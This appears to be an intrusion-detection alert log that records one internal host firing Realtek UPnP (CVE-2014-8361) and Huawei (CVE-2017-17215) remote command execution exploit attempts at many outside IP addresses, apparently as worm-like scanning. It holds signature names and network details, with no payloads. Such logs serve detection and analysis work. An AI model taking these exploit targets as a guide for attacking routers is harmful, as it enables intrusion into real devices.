Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.44.110.204

Timestamp:	07/20/24-23:01:46.464448
SID:	2027339
Source Port:	44136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.223.177.47

Timestamp:	07/20/24-23:01:44.362240
SID:	2027339
Source Port:	42968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.51.4.30

Timestamp:	07/20/24-23:01:44.466755
SID:	2025132
Source Port:	60066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.254.60.151

Timestamp:	07/20/24-23:01:47.954400
SID:	2027339
Source Port:	53534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.210.183.51

Timestamp:	07/20/24-23:01:42.454682
SID:	2027339
Source Port:	59644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 132.85.106.74

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	59576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.226.98.85

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	60820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.103.96.49

Timestamp:	07/20/24-23:01:08.609855
SID:	2027339
Source Port:	38658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.80.209.101

Timestamp:	07/20/24-23:01:04.034952
SID:	2829579
Source Port:	51042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.203.199.212

Timestamp:	07/20/24-23:01:41.947663
SID:	2025132
Source Port:	40290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 61.169.227.46

Timestamp:	07/20/24-23:01:45.096837
SID:	2831300
Source Port:	49762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 219.249.103.135

Timestamp:	07/20/24-23:01:14.117066
SID:	2835222
Source Port:	55386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 121.47.221.188

Timestamp:	07/20/24-23:01:40.294677
SID:	2829579
Source Port:	43814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.217.62

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	46764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.56.95.76

Timestamp:	07/20/24-23:01:42.740527
SID:	2025132
Source Port:	36918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.198.69.39

Timestamp:	07/20/24-23:01:46.444817
SID:	2027339
Source Port:	54294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.46.179.130

Timestamp:	07/20/24-23:01:01.299586
SID:	2025132
Source Port:	47142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 177.9.244.61

Timestamp:	07/20/24-23:01:42.943881
SID:	2025132
Source Port:	49940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.199.110

Timestamp:	07/20/24-23:01:02.045640
SID:	2829579
Source Port:	49936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.117.206.184

Timestamp:	07/20/24-23:01:08.559170
SID:	2027339
Source Port:	46372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.164.14.81

Timestamp:	07/20/24-23:01:40.321964
SID:	2835222
Source Port:	46110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.218.79.196

Timestamp:	07/20/24-23:01:43.165438
SID:	2027339
Source Port:	51560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.7.32.204

Timestamp:	07/20/24-23:01:02.259207
SID:	2027339
Source Port:	49352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.197.144

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	37952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.3.17.176

Timestamp:	07/20/24-23:01:06.990165
SID:	2829579
Source Port:	46280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.147.32.222

Timestamp:	07/20/24-23:01:42.042815
SID:	2027339
Source Port:	36920
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.78.48.17

Timestamp:	07/20/24-23:01:42.880524
SID:	2025132
Source Port:	59136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.71.23.107

Timestamp:	07/20/24-23:01:49.663162
SID:	2831300
Source Port:	33472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 210.252.39.6

Timestamp:	07/20/24-23:01:27.656128
SID:	2829579
Source Port:	52098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.230.210

Timestamp:	07/20/24-23:01:27.749737
SID:	2829579
Source Port:	48384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.134.86.41

Timestamp:	07/20/24-23:01:49.490945
SID:	2027339
Source Port:	59242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.100.156.74

Timestamp:	07/20/24-23:01:32.073087
SID:	2829579
Source Port:	42264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.194.235.253

Timestamp:	07/20/24-23:01:52.819848
SID:	2025132
Source Port:	38288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.232.185.220

Timestamp:	07/20/24-23:01:45.098864
SID:	2027339
Source Port:	42410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.167.45.35

Timestamp:	07/20/24-23:01:42.470759
SID:	2027339
Source Port:	57332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.45.9.49

Timestamp:	07/20/24-23:01:07.075937
SID:	2835222
Source Port:	47294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.155.204.151

Timestamp:	07/20/24-23:01:41.381812
SID:	2025132
Source Port:	53042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.171.160.226

Timestamp:	07/20/24-23:01:03.090902
SID:	2027339
Source Port:	37696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.50.131.136

Timestamp:	07/20/24-23:01:45.925226
SID:	2027339
Source Port:	54556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.227.37.208

Timestamp:	07/20/24-23:01:02.055683
SID:	2829579
Source Port:	34462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.252.9

Timestamp:	07/20/24-23:01:27.735617
SID:	2829579
Source Port:	59152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.93.66.190

Timestamp:	07/20/24-23:01:47.024843
SID:	2027339
Source Port:	59990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.68.164.174

Timestamp:	07/20/24-23:01:44.631925
SID:	2831300
Source Port:	34438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 173.232.109.220

Timestamp:	07/20/24-23:01:52.947418
SID:	2831300
Source Port:	44360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.208.197.76

Timestamp:	07/20/24-23:01:54.914948
SID:	2027339
Source Port:	36136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.103.118.184

Timestamp:	07/20/24-23:01:00.641803
SID:	2829579
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.237.240

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	55438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.202.196.168

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	35292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.244.130.144

Timestamp:	07/20/24-23:01:44.020551
SID:	2027339
Source Port:	46324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.61.135.109

Timestamp:	07/20/24-23:01:25.935242
SID:	2025132
Source Port:	45436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.38.97.128

Timestamp:	07/20/24-23:02:00.056416
SID:	2027339
Source Port:	55060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.29.220.93

Timestamp:	07/20/24-23:02:02.509837
SID:	2027339
Source Port:	38436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.78.7

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	46448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.242.111.156

Timestamp:	07/20/24-23:01:41.341391
SID:	2025132
Source Port:	37840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.174.225.184

Timestamp:	07/20/24-23:01:01.628217
SID:	2025132
Source Port:	38982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.31.121.159

Timestamp:	07/20/24-23:01:44.837053
SID:	2027339
Source Port:	49994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.118.231.218

Timestamp:	07/20/24-23:01:25.763318
SID:	2027339
Source Port:	46986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.3.200.28

Timestamp:	07/20/24-23:02:00.868779
SID:	2027339
Source Port:	54574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.221.97.172

Timestamp:	07/20/24-23:01:51.879276
SID:	2831300
Source Port:	48450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.2.226.98

Timestamp:	07/20/24-23:01:43.123752
SID:	2025132
Source Port:	37998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.41.17.240

Timestamp:	07/20/24-23:01:04.082384
SID:	2835222
Source Port:	58620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.80.44.168

Timestamp:	07/20/24-23:01:44.776719
SID:	2027339
Source Port:	39014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 84.150.128.0

Timestamp:	07/20/24-23:01:08.957638
SID:	2831300
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.43.247.234

Timestamp:	07/20/24-23:01:27.668073
SID:	2829579
Source Port:	60144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.215.201.153

Timestamp:	07/20/24-23:01:31.981855
SID:	2829579
Source Port:	49558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.64.201.235

Timestamp:	07/20/24-23:01:55.802130
SID:	2025132
Source Port:	57742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.169.228

Timestamp:	07/20/24-23:01:02.064358
SID:	2829579
Source Port:	53606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.1.90.206

Timestamp:	07/20/24-23:01:09.002255
SID:	2027339
Source Port:	59450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.102.42.235

Timestamp:	07/20/24-23:01:34.045144
SID:	2829579
Source Port:	48300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.28.35.63

Timestamp:	07/20/24-23:01:53.415663
SID:	2027339
Source Port:	56738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.50.116.249

Timestamp:	07/20/24-23:01:51.096458
SID:	2027339
Source Port:	59468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.187.188.100

Timestamp:	07/20/24-23:01:00.651026
SID:	2829579
Source Port:	51534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.96.50.123

Timestamp:	07/20/24-23:01:25.796791
SID:	2025132
Source Port:	57286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.226.241.204

Timestamp:	07/20/24-23:01:03.096471
SID:	2027339
Source Port:	44870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.51.90

Timestamp:	07/20/24-23:01:27.654172
SID:	2829579
Source Port:	36212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.170.166.3

Timestamp:	07/20/24-23:01:44.439012
SID:	2027339
Source Port:	50128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 88.132.0.162

Timestamp:	07/20/24-23:01:48.036012
SID:	2831300
Source Port:	51362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.44.160

Timestamp:	07/20/24-23:01:11.820979
SID:	2835222
Source Port:	34426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.236.184.127

Timestamp:	07/20/24-23:01:48.498136
SID:	2027339
Source Port:	53224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.147.20.129

Timestamp:	07/20/24-23:01:27.653028
SID:	2835222
Source Port:	33226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.179.229.220

Timestamp:	07/20/24-23:01:50.176893
SID:	2027339
Source Port:	41980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.243.121.184

Timestamp:	07/20/24-23:01:53.432917
SID:	2027339
Source Port:	38766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.227.74.238

Timestamp:	07/20/24-23:01:31.333872
SID:	2027339
Source Port:	51986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.119.229.116

Timestamp:	07/20/24-23:01:50.246033
SID:	2027339
Source Port:	56978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.59.132.204

Timestamp:	07/20/24-23:02:05.544188
SID:	2027339
Source Port:	42936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.32.160.159

Timestamp:	07/20/24-23:01:02.287452
SID:	2025132
Source Port:	51150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.31.132.7

Timestamp:	07/20/24-23:01:45.261796
SID:	2027339
Source Port:	49158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.138.76.190

Timestamp:	07/20/24-23:01:40.320408
SID:	2829579
Source Port:	51774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.187.245.173

Timestamp:	07/20/24-23:02:04.721025
SID:	2027339
Source Port:	38956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.65.172.105

Timestamp:	07/20/24-23:01:42.616434
SID:	2831300
Source Port:	38648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.101.195.198

Timestamp:	07/20/24-23:01:31.978141
SID:	2829579
Source Port:	60358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 110.244.30.5

Timestamp:	07/20/24-23:01:47.915367
SID:	2027339
Source Port:	42506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.4.247

Timestamp:	07/20/24-23:01:24.943244
SID:	2835222
Source Port:	55978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.227.232.27

Timestamp:	07/20/24-23:01:42.485253
SID:	2831300
Source Port:	58876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.211.30.37

Timestamp:	07/20/24-23:01:53.238230
SID:	2027339
Source Port:	35440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.174.164.32

Timestamp:	07/20/24-23:01:42.943881
SID:	2831300
Source Port:	53742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.252.220.138

Timestamp:	07/20/24-23:01:43.170156
SID:	2025132
Source Port:	40232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.51.105.40

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	56668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.169.30.84

Timestamp:	07/20/24-23:01:42.527234
SID:	2027339
Source Port:	48880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

